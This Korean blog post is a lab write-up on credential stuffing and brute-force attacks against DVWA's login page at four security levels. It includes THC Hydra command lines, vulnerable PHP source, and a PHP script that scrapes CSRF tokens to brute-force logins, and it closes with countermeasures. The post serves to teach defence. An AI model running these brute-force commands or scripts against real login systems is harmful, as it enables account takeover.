1. 개요
- 최근 크리덴셜 스터핑으로 인한 개인정보 노출 사례가 증가
> 22.12 페이팔 크리덴셜 스터핑 사고 이후 국내 한국장학재단, 워크넷 등에서 관련 사고가 발생
- 이미 다른 곳에서 탈취한 크리덴셜를 이용해 여러 웹 사이트나 앱에 접근을 시도(Stuffing, 대입)하여 개인정보나 자료를 탈취
> 크리덴셜이란 사용자가 본인을 증명하는 수단으로, 대부분의 사용자들이 여러 사이트에 같은 크리덴셜(패스워드)을 사용하고 있기 때문에 발생
> 가능한 모든 계정정보를 대입하는 Brute-Force 공격과 차이를 보임
2. 실습
2.1 DVWA Brute-Force: Level Low
- user/user 계정으로 로그인을 시도한 결과 "Username and/or password incorrect" 에러가 출력되며 로그인 실패
- 로그인 방식은 GET 메소드를 사용하며, 사용자로부터 username과 password 변수를 입력받음
- THC Hydra를 이용하여 공격을 자동화하여 실습을 진행
THC Hydra
- "The Hacker's Choice"(THC)라는 단체에서 개발하여 배포하는 명령행 기반의 모의침투(pentest) 도구
- SSH, TELENT, HTTP, HTTPS, FTP, LDAP, SMB, SNMP, POP3 등 다수의 통신규약에 대해 사전기반 비밀번호 공격도구
- 웹취약점분석에서는 관리자나 사용자 계정을 취약하게 관리하는 지의 여부를 점검할 수 있음
- 먼저 DVWA IP는 192.168.56.109이며, 로그인은 GET 방식으로 이루어짐
hydra 192.168.56.109 http-form-get
- 로그인 페이지는 /vulnerabilities/brute/, 사용자가 입력한 정보는 username=admin&password=user&Login=Login로 전달
- 로그인 실패 시 Username and/or password incorrect. 문자열이 출력
hydra 192.168.56.109 http-form-get "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect."
- 실습 레벨이 Low라는 것을 사용자 쿠키 정보(개발자도구_F12 확인)를 통해 서버에 전달
hydra 192.168.56.109 http-form-get "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=low;PHPSESSID=37a1e75f8d963b6d9e0e254eef82422f"
- 이미 탈취한 계정정보(계정/비밀번호)를 저장한 파일을 사용해 요청 전송
- -t 옵션을 4로 지정해 동시에 4개씩 접속하도록 함
hydra 192.168.56.109 http-form-get "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=low;PHPSESSID=37a1e75f8d963b6d9e0e254eef82422f" -L week.txt -P pass.txt -t 4
- 출력 결과를 통해 유효한 계정은 admin/password인 것을 알 수 있음
※ 명령 수행 결과 출력이 오래 걸려 사진 대체
- Low 레벨의 PHP 소스를 확인해보면 비밀번호를 md5 해시화
- 사용자 입력값을 그대로 사용하며, 반복 로그인 시도 및 실패에 따른 계정 잠금 등의 조치가 없어 반복적인 대입이 가능
$user = $_GET[ 'username' ];
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
2.2 DVWA Brute-Force: Level Medium
- Low Level에서 security 쿠키 값만 medium으로 변경하여 요청 재전송
hydra 192.168.56.109 http-form-get "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=mediun;PHPSESSID=37a1e75f8d963b6d9e0e254eef82422f" -L week.txt -P pass.txt -t 4
- Medium 레벨의 PHP 소스를 확인해보면 username,password 변수에 mysql_real_escape_string() 함수를 사용해 사용자 입력값을 필터링
- SQL Injection 관련 취약점에 대해서는 대응이 가능하지만 반복적인 대입 공격에는 대응하지 못함
$user = $_GET[ 'username' ];
$user = mysql_real_escape_string( $user );
$pass = $_GET[ 'password' ];
$pass = mysql_real_escape_string( $pass );
2.3 DVWA Brute-Force: Level High
- Level High의 PHP 소스를 확인해보면 사용자의 token과 세션 token을 비교해 동일한 경우 로그인이 수행
- 사용자 token 값은 숨겨진 속성으로 전송되며, 로그인을 수행할때마다 값이 변경됨
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = mysql_real_escape_string( $user );
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = mysql_real_escape_string( $pass );
- 구글 조회를 통해 사용자 token을 받아온 후 해당 token을 이용해 로그인을 수행하는 스크립트를 사용
- 스크립트 사용 결과 계정 정보는 admin/password로 확인됨
<?php
$user_list = array( 'root', 'admin', 'manager' );
$pass_list = array( '123456', 'qwerty', '123456789', 'password', '12345678' );
foreach ($user_list as $user) {
foreach ($pass_list as $pass) {
$c = curl_init('http://192.168.206.136/vulnerabilities/brute/index.php');
curl_setopt($c, CURLOPT_COOKIE, 'PHPSESSID=gulk7ha641o55qk52os77asr42; security=high');
curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
$page = curl_exec($c);
$needle = "user_token' value='";
$token = substr($page, strpos($page, $needle)+strlen($needle), 32);
curl_close($c);
$c = curl_init('http://192.168.206.136/vulnerabilities/brute/index.php?username='.$user.'&password='.$pass.'&Login=Login&user_token='.$token);
curl_setopt($c, CURLOPT_COOKIE, 'PHPSESSID=gulk7ha641o55qk52os77asr42; security=high');
curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
$page = curl_exec($c);
curl_close($c);
if (strstr($page, 'Username and/or password incorrect.')) continue;
else {
echo $user.'/'.$pass." 로그인 성공!\n";
exit(0);
}
}
}
?>
2.4 DVWA Brute-Force: Level Impossible
- Impossible 레벨의 PHP 소스코드를 확인해보면 3회이상 계정 오입력 시 15분동안 계정을 잠금 처리
- 공격자는 15분동안 대기해야 하므로 반복적 대입 공격이 거의 불가능함
- 하지만, 정상적인 사용자 또한 15분을 대기하여야 하므로 적절한 시간 설정이 필요
// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;
[생략]
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
// Calculate when the user would be allowed to login again
$last_login = $row[ 'last_login' ];
$last_login = strtotime( $last_login );
$timeout = strtotime( "{$last_login} +{$lockout_time} minutes" );
$timenow = strtotime( "now" );
// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow > $timeout )
$account_locked = true;
}
3. 대응방안
- 봇 차단
- 다중인증 도입
- 비밀번호 설정 규칙 강화
- 비밀번호 실패 횟수 및 계정 잠금 시간 설정
- 각 서비스마다 고유한 계정정보를 사용
4. 참고
[1] https://github.com/vanhauser-thc/thc-hydra
[2] https://medium.com/hacker-toolbelt/dvwa-1-9-ii-brute-force-4cd8efe1c7f2
[3] https://webhack.dynu.net/?idx=20161205.003
[4] http://blog.plura.io/?p=13094
'취약점 > 기타' 카테고리의 다른 글
WiFi의 BFI를 악용한 민감 정보를 탈취하는 WiKI-Eve (0) | 2023.09.21 |
---|---|
국정원 사이버 안보 현안 관련 간담회 내용 정리 (0) | 2023.07.20 |
국내 MacOS 이용자를 노린 APT37 (0) | 2023.06.23 |
공용 USB 포트 사용 금지와 USB 데이터 차단기 (0) | 2023.06.19 |
원격 엑세스 소프트웨어 보안 가이드 발표 (0) | 2023.06.17 |